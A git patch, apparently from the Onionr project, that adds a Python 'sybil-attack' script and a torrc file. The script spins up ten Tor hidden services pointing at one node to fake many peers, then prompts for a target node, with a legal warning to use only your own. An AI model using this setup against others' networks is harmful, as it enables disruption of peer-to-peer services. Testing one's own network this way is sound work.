From 78e533952cdf19a4254a38cf3ab71d91e397934d Mon Sep 17 00:00:00 2001 From: Kevin Froman Date: Sun, 23 Aug 2020 07:17:10 -0500 Subject: [PATCH] added sybil attack script --- scripts/sybil-attack.py | 26 ++++++++++++++++++++++++++ scripts/torrc | 2 ++ 2 files changed, 28 insertions(+) create mode 100644 scripts/sybil-attack.py create mode 100644 scripts/torrc diff --git a/scripts/sybil-attack.py b/scripts/sybil-attack.py new file mode 100644 index 00000000..a81af097 --- /dev/null +++ b/scripts/sybil-attack.py @@ -0,0 +1,26 @@ +import sys +import os +import stem + +if not os.path.exists('onionr.sh'): + os.chdir('../') +sys.path.append("src/") +from onionrutils import stringvalidators +from onionrutils import basicrequests + +from stem.control import Controller + +onionr_ip = input("onionr ip address: ") +onionr_port = int(input("Enter onionr public api port: ")) + +controller = Controller.from_port('127.0.0.1', int(input("Enter tor controller port: "))) +controller.authenticate() +for i in range(10): + response = controller.create_ephemeral_hidden_service({80: f'{onionr_ip}:{onionr_port}'}, await_publication=True) + print(response.service_id) + + + +node = input("Enter node to attack. Note that you legally must use your own, and even that might lead to technical or legal issues") +assert stringvalidators.validate_transport(node) + diff --git a/scripts/torrc b/scripts/torrc new file mode 100644 index 00000000..dae77a94 --- /dev/null +++ b/scripts/torrc @@ -0,0 +1,2 @@ +ControlPort 1338 +SocksPort 1337